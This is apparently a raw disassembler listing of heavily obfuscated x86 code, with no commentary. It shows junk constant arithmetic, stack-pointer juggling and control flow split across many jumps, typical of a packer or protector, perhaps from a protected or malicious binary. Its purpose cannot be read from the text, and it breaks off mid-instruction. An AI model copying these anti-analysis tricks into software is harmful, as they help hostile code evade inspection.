sub_59D37E loc_5AEEEB: ; CODE XREF: sub_59D37E+DDD5j add dh, 8Ah jnb loc_5AC23C shr dh, 8 xor dh, 56h sub esp, 4 mov [esp+8+var_8], ecx mov al, al ; END OF FUNCTION CHUNK FOR sub_59D37E ; START OF FUNCTION CHUNK FOR sub_5AF2DF loc_5AEF02: ; CODE XREF: sub_5AF2DF+9j mov esi, 761E0DC3h jmp loc_5ADE02 ; END OF FUNCTION CHUNK FOR sub_5AF2DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AEF0C: ; CODE XREF: sub_59D6B8:loc_5A6441j or edx, 3F6E7796h ja loc_5A882F push ecx jmp loc_5A754E ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- push ecx mov ecx, 4 pop edi loc_5AEF25: ; CODE XREF: sdfs____:0059BC31j sub [esp], edx sub dword ptr [esp], 0D556BCh mov edx, [esp] jmp loc_5A2375 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEF37: ; CODE XREF: sub_5AA2D1-9357j push [esp+14h+var_14] mov ebp, [esp+18h+var_1A+2] add esp, 4 add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5A3127 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5AEF54: ; CODE XREF: sub_59D18A+12937j pop ebx sub esp, 4 jmp loc_59F8D3 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEF5D: ; CODE XREF: sub_5AA2D1:loc_5A9079j add eax, 58727A36h jmp loc_59B377 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5AEF67: ; CODE XREF: sub_5A2166-642Ej shl ecx, 5 neg ecx inc ecx sub ecx, 0AF76B78Dh sub esi, ecx push [esp-4+arg_0] pop ecx add esp, 4 push 3C7Bh mov [esp-4+arg_0], ebx mov ebx, 147768CAh sub esi, ebx jmp loc_5AF68E ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AEF93: ; CODE XREF: sub_59EE3E-477Fj push 2A296F8Bh pop ebp or ebp, 67D8626Ah add ebp, 0BD66BA69h mov edx, ebp pop ebp inc edx push ecx mov ecx, 668A452Dh add ecx, 3B4663Ch and ecx, 28E13AB2h dec ecx jmp loc_5ABCFF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AEFC1: ; CODE XREF: sub_5AD795-A332j mov ecx, [esp+0] push ecx jmp loc_599892 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEFCA: ; CODE XREF: sub_5AA2D1+5342j add esi, 46AA2008h jmp loc_5A7123 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AEFD5: ; CODE XREF: sub_5A18F6-EFEj pop edx pop [esp+8+var_8] pop esp xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] jmp loc_5A9A19 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AEFE8: ; CODE XREF: sub_5A7BA0-74C8j add ecx, eax add ecx, 58DF7D45h pop eax push edi mov edi, 5E900ACh not edi and edi, 5D201D16h add edi, 0F38202CAh jmp loc_5AFFD5 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF00A: ; CODE XREF: sub_5AA2D1+EFBj add esi, 3BEA0402h add esi, ebx sub esi, 3BEA0402h pop ebx jmp loc_5A2CDC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5AF01E: ; CODE XREF: sub_5AFA26-ACB3j mov [esp+8+var_8], eax push [esp+8+var_4] pop eax pop [esp+8+var_8] mov esp, [esp+4+var_4] mov word ptr [esp+4+var_4], dx push ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5AF038: ; CODE XREF: sub_5B0377-1057Ej mov ecx, 2 add ebx, ecx pop ecx push 1CC9h mov [esp+8+var_8], ebx push [esp+8+var_4] jmp loc_59DBB4 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5AF051: ; CODE XREF: sub_5A405F+11j mov edx, esp add edx, 4 add edx, 4 jmp loc_5ACD68 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF061: ; CODE XREF: sub_59C979+2CBEj xchg ecx, [esp+6+var_6] pop esp and edi, 220D2111h jmp loc_59CA17 ; --------------------------------------------------------------------------- loc_5AF070: ; CODE XREF: sub_59C979+C3j mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+4+var_6+2] mov esp, [esp+4+var_6+2] jmp loc_59DB5A ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF08C: ; CODE XREF: sub_5992DA+58FDj pop eax jmp loc_5A6FFA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5AF092: ; CODE XREF: sub_5A9EBF-211Dj inc ebx jle loc_5A402E push eax jmp loc_5A19AE ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- pop dword ptr [esp] mov cl, ch ; START OF FUNCTION CHUNK FOR sub_5AE824 loc_5AF0A4: ; CODE XREF: sub_5AE824+1Aj add esp, 4 sub edi, 4E510AF1h add edi, ebx add edi, 4E510AF1h mov ebx, [esp+4+var_4] jmp loc_5A64E7 ; END OF FUNCTION CHUNK FOR sub_5AE824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A94C loc_5AF0BD: ; CODE XREF: sub_59A94C+129BCj pop edi push ebx push [esp+10h+var_C] pop ebx pop [esp+10h+var_10] pop esp push ebp mov ebp, 6FBB06D2h neg ebp xor ebp, 27FD771Fh push edx mov edx, 1A3A1DB0h or ebp, edx jmp loc_59F4E1 ; END OF FUNCTION CHUNK FOR sub_59A94C ; --------------------------------------------------------------------------- loc_5AF0E3: ; CODE XREF: sdfs____:005B033Dj mov [esp], ebp push ecx mov ecx, 4 mov ebp, ecx pop ecx add edi, 76BF30D7h add edi, ebp sub edi, 76BF30D7h pop ebp xchg edi, [esp] pop esp sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 push eax jmp loc_5A1A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5AF116: ; CODE XREF: sub_5A3E64-1B0Cj or eax, 1ADB523Dh add eax, 5E69152Dh sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 7D5516F5h sub ecx, 0BEEC82C7h jmp loc_59E72B ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AF139: ; CODE XREF: sub_59CBE1+E798j pop ebx xor edx, [esp+6+var_8+2] xor [esp+6+var_8+2], edx jmp loc_5A08D3 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AF145: ; CODE XREF: sub_5AD993-1191Cj shl ebx, 3 not ebx add ebx, 1 shl ebx, 2 jmp loc_5A4415 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF155: ; CODE XREF: sub_5992DA+B023j add esp, 4 add esp, 4 jmp loc_59A99C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AF166: ; CODE XREF: sub_59D6B8+13EDj shl ecx, 8 shr ecx, 1 inc ecx neg ecx xor ecx, 0BBE94B4h sub edx, ecx jmp loc_599B8E ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5AF17B: ; CODE XREF: sub_5AC18D-4E31j pop esp sub esp, 4 mov [esp+0], ebx push 2DFCh mov [esp+0], edx jmp loc_5A5410 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; =============== S U B R O U T I N E ======================================= sub_5AF18F proc near ; CODE XREF: sub_5B03B3-C8B0j ; FUNCTION CHUNK AT 005A6326 SIZE 00000010 BYTES sub esp, 4 jmp loc_5A6326 sub_5AF18F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5AF19A: ; CODE XREF: sub_5A809B-3AF5j mov [esp-8+arg_0], ecx push ecx jmp loc_5A60BC ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5AF1A3: ; CODE XREF: sub_59F4D2+9C64j mov [esp-8+arg_4], eax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF1AB: ; CODE XREF: sub_5AA2D1-1065Fj sub edx, 0C1880FC6h mov ebx, edx mov edx, [esp+0] add esp, 4 push 205Fh jmp loc_59FE79 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AF1C6: ; CODE XREF: sub_59D6B8+10C69j jo loc_5AF369 sub eax, 0B355EB16h xor ecx, eax mov eax, [esp+1Ch+var_1C] add esp, 4 push ecx add [esp+1Ch+var_1C], 3D424672h pop edx sub edx, 3D424672h pop ecx sub eax, 3325C40h add eax, 4E8657FCh sub eax, 485174E6h sub eax, 6D382BCEh sub eax, edx add eax, 6D382BCEh add eax, 485174E6h sub eax, 4E8657FCh add eax, 3325C40h pop edx jmp loc_5A5C02 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE72D loc_5AF21C: ; CODE XREF: sub_5AE72D-1555Dj mov edx, [esp+0Ch+var_C] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+10h+var_10] pop esp jmp loc_5AE1EE ; END OF FUNCTION CHUNK FOR sub_5AE72D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5AF233: ; CODE XREF: sub_5B0377-1245Ej mov ecx, 7F053BF8h add ecx, 6A344D1Ah shl ecx, 5 not ecx shr ecx, 5 push edi push edx mov edx, 7F97206Ch jmp loc_59AEBE ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5AF252: ; CODE XREF: sub_5AB207-D418j push dword ptr [esp+0] pop ebp push edi jmp loc_5A8C20 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_5AF25C: ; CODE XREF: sub_5ADD13+8j pop ebp neg eax xor eax, 0BFBFFEF0h add ebx, eax jmp loc_5993E9 ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AF26B: ; CODE XREF: sub_5A63DC-33B6j push dword ptr [esp+0] jmp loc_59C809 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF273: ; CODE XREF: sub_5992DA:loc_5AAEACj shl ebp, 6 jp loc_59F2E9 shl ebp, 5 add ebp, 0D2459004h jmp loc_5A518C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AF28A: ; CODE XREF: sub_5ADD33-526Aj add eax, 4 jmp loc_59B2A6 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_5AF294 proc near ; DATA XREF: sdfs____:00599080o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059ABE4 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059D8B8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F6E0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A0739 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A2476 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A3C6F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A6343 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A6FBF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A829E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A83C3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A870C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9147 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A93CA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A95A9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AADC6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005ABEB2 SIZE 00000010 BYTES mov ax, word ptr [esp-4+arg_0] push 36D4h mov [esp+0], esi push esp mov esi, [esp+4+var_4] jmp loc_5A2476 sub_5AF294 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5AF2A9: ; CODE XREF: sub_599CC6+6DD7j push 16A0h mov [esp+4+var_4], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_599CA2 ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AF2C1: ; CODE XREF: sub_5A5EFF+976Fj sub eax, ebx sub esp, 4 mov [esp+14h+var_14], edi jmp loc_5AAB0F ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5AF2CE: ; CODE XREF: sub_5A4D9D+9B70j sub esi, 4 xchg esi, [esp+0] jmp loc_5A3DE5 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; =============== S U B R O U T I N E ======================================= sub_5AF2D9 proc near ; CODE XREF: sub_59EE3E:loc_59A33Bj ; sub_5A996F-E65Ej var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005999C3 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0059A632 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A9C5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059AEC8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B000 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0059B087 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059C378 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C773 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059CC86 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059D5A6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059FDA7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A0D5B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A197C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1CD5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A22B9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A28F7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A43F8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A60E1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A70EA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A770C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A9A72 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A9B64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AA01E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AA341 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB73A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005ABC8A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD38D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AE38A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AED5B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AFB27 SIZE 00000027 BYTES push ebx jmp loc_5A22B9 sub_5AF2D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AF2DF proc near ; CODE XREF: sub_5B01F7-36D1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005ADE02 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AEF02 SIZE 0000000A BYTES sub esp, 4 mov [esp+0], esi jmp loc_5AEF02 sub_5AF2DF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF2ED: ; CODE XREF: sub_5992DA+13A7Bj push edx push [esp-4+arg_0] pop ebx add esp, 4 mov edx, [esp-8+arg_4] add esp, 4 jmp loc_5A2407 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5AF300: ; CODE XREF: sub_59FB1A+7E19j mov [esp+4+var_6+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_6+2] pop esp push eax mov al, bh mov cl, al jmp loc_5A8C7C ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BB73 loc_5AF31C: ; CODE XREF: sub_59BB73+1B40j mov edx, 6EE804E0h mov ebx, 9117FB24h add ebx, edx pop edx sub edx, 3D0437DBh sub edx, ebx add edx, 3D0437DBh jmp loc_599D28 ; END OF FUNCTION CHUNK FOR sub_59BB73 ; --------------------------------------------------------------------------- loc_5AF33C: ; CODE XREF: sdfs____:005A7610j mov edx, esp push eax mov eax, 39C01E21h push edi mov edi, 7E266DFh shl edi, 2 and edi, 728D7D91h jmp loc_5ACBFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5AF358: ; CODE XREF: sub_5A81C4-4B80j push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp+4+var_4] jmp loc_5A3D78 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AF369: ; CODE XREF: sub_59D6B8:loc_5AF1C6j sub eax, 0B355EB16h xor ecx, eax mov eax, [esp+1Ch+var_1C] add esp, 4 push ecx jmp loc_5A6DFE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AF37F: ; CODE XREF: sub_5B01F7-A3E7j pop edx and ebp, 3E404271h push ebx mov ebx, 50125F9Dh or ebx, 56B16C01h jmp loc_5ADE45 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF397: ; CODE XREF: sub_59C979+BD79j jmp loc_5AF4BB ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov cx, [esp] push 40FCh jmp loc_599B56 ; =============== S U B R O U T I N E ======================================= sub_5AF3AA proc near ; DATA XREF: sdfs____:00598EB8o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059E541 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A2119 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A29BD SIZE 00000008 BYTES mov ax, [esp+0] push eax push 3391h mov [esp+8+var_8], esp push edi push 4 pop edi add [esp+0Ch+var_8], edi mov edi, [esp+0Ch+var_C] push ebp mov ebp, esp add ebp, 4 jmp loc_5A2119 sub_5AF3AA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF3D3: ; CODE XREF: sub_5AA2D1-31ACj sub esi, 46AA2008h pop eax push esi push [esp-0Ch+arg_C] pop esi jmp loc_5A5654 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AF3E5: ; CODE XREF: sub_5A477C-843Bj push edx pop ebp pop edx push ecx mov ecx, 2D677C59h jmp loc_5AED3B ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5AF3F3: ; CODE XREF: sub_59D37E+46AEj add cl, 1 xor cl, 0A3h shl cl, 3 dec cl neg cl xor cl, 0FAh sub al, cl jmp loc_59EFE7 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5AF40A: ; CODE XREF: sub_59B2E4+C5A7j xor esi, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx jmp loc_5A3352 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF416: ; CODE XREF: sub_5AA2D1+47D6j or eax, 2DE16043h jmp loc_5A93DE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov eax, [esp] push 4B63h jmp loc_5AA236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF42D: ; CODE XREF: sub_5AA2D1+2093j and ah, 0C7h push ecx mov ch, 0B3h sub ch, 5Ch add ah, ch mov ecx, [esp-18h+arg_14] add esp, 4 push ebx jmp loc_5A5D87 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov ch, 12h jmp loc_5A7BC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5AF44F: ; CODE XREF: sub_5AD243-1924j add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp sub eax, ebp push dword ptr [esp+0] jmp loc_59AAE5 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF466: ; CODE XREF: sub_59C979-4AAj xor edx, esi xor esi, edx jmp loc_5A2324 ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_5AF46F proc near ; CODE XREF: sub_5992DA+15C0Cj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D15D SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059E5A7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A0B76 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A4020 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A6C51 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8DA0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA0F3 SIZE 00000022 BYTES sub esp, 4 mov [esp+4+var_4], esi push edi push 58502B73h pop edi add edi, 14B9129Bh jg loc_5AA0F3 sub edi, 6D6569AEh xor edi, 9A67C652h mov esi, edi loc_5AF499: ; CODE XREF: sub_5AA2D1:loc_5A06A4j ; sub_59E325+7F8Ej pop esp jmp loc_59D15D sub_5AF46F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AF49F: ; CODE XREF: sub_59FC02+8795j xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+0], edx push 5554h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop edx push ebp jmp loc_59FB43 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF4BB: ; CODE XREF: sub_59C979:loc_5AF397j neg cl jl loc_5A921D not cl add cl, 24h jmp loc_59A2F3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- shl ecx, 4 push edi ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF4D1: ; CODE XREF: sub_5AA2D1-70A6j sub ebp, 0D6915670h mov edx, ebp pop ebp inc edx jnz loc_59A658 dec edx add edx, 2C43F72h jmp loc_5A98C7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push ebx ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AF4EE: ; CODE XREF: sub_59C979+EA7Cj sub eax, 753535F7h dec eax xor eax, 6E16092Ah neg eax sub eax, 1ACFA5B5h add esi, eax pop eax pop eax sub esi, 365425A5h and ecx, esi jmp loc_5A7FBA ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AF511: ; CODE XREF: sub_5A0FFF+820Bj or edx, 38841B65h sub edx, 7C6A8C0Bh xor ebp, edx pop edx and eax, ebp pop ebp jmp loc_599370 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AF528: ; CODE XREF: sub_59A26C+2460j xor [esp-0Ch+arg_8], eax xor eax, [esp-0Ch+arg_8] jmp loc_5A619A ; END OF FUNCTION CHUNK FOR sub_59A26C ; =============== S U B R O U T I N E ======================================= sub_5AF533 proc near ; CODE XREF: sub_5A7BA0+5342j var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 005994D5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059BF74 SIZE 00000009 BYTES sub esp, 4 mov [esp-0Ch+arg_8], ebx mov ebx, 4 push edi jmp loc_5994D5 sub_5AF533 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AF547: ; CODE XREF: sub_59D6B8-1D0Bj sub ebx, ecx pop ecx push ecx mov ecx, 7A4C5DBBh sub ebx, 4AC167Eh sub ebx, 6FA664BFh sub ebx, ecx jmp loc_5AA6D1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF6AC loc_5AF563: ; CODE XREF: sub_5AF6AC-8514j jmp loc_5A8DE7 ; END OF FUNCTION CHUNK FOR sub_5AF6AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AF568: ; CODE XREF: sub_5992DA+13979j dec edx jle loc_5AEDB7 jmp loc_5A395B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- mov ebp, 2 mov bl, 3Ah push esp ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AF57D: ; CODE XREF: sub_5AA2D1-7952j mov ebp, 26382311h jmp loc_5AA115 ; --------------------------------------------------------------------------- loc_5AF587: ; CODE XREF: sub_5AA2D1+9F0j mov esp, [esp-14h+arg_10] movsx cx, al push 364h mov [esp-10h+arg_C], edx push 44CFh push esp pop [esp-8+arg_4] push ecx mov ecx, 4 add [esp-8+arg_8], ecx pop ecx pop edx sub esp, 4 jmp loc_5AAC78 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AF5B3: ; CODE XREF: sub_5A77D5+3CB4j add edx, 4 jmp loc_5A1878 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CC30 loc_5AF5BB: ; CODE XREF: sub_59CC30+6j mov [esp+4+var_4], eax xchg ebp, [esp+4+var_4] not ebp xchg ebp, [esp+4+var_4] pop eax sub eax, 0FFF7B37Eh add esi, eax pop eax sub esp, 4 mov [esp+0], esi push [esp+arg_0] pop esi pop dword ptr [esp+0] mov esp, [esp-4+arg_0] ror word ptr [esp-4+arg_0], cl pushf jmp loc_5A6C63 ; END OF FUNCTION CHUNK FOR sub_59CC30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AF5EA: ; CODE XREF: sub_59FC02+8CABj pop 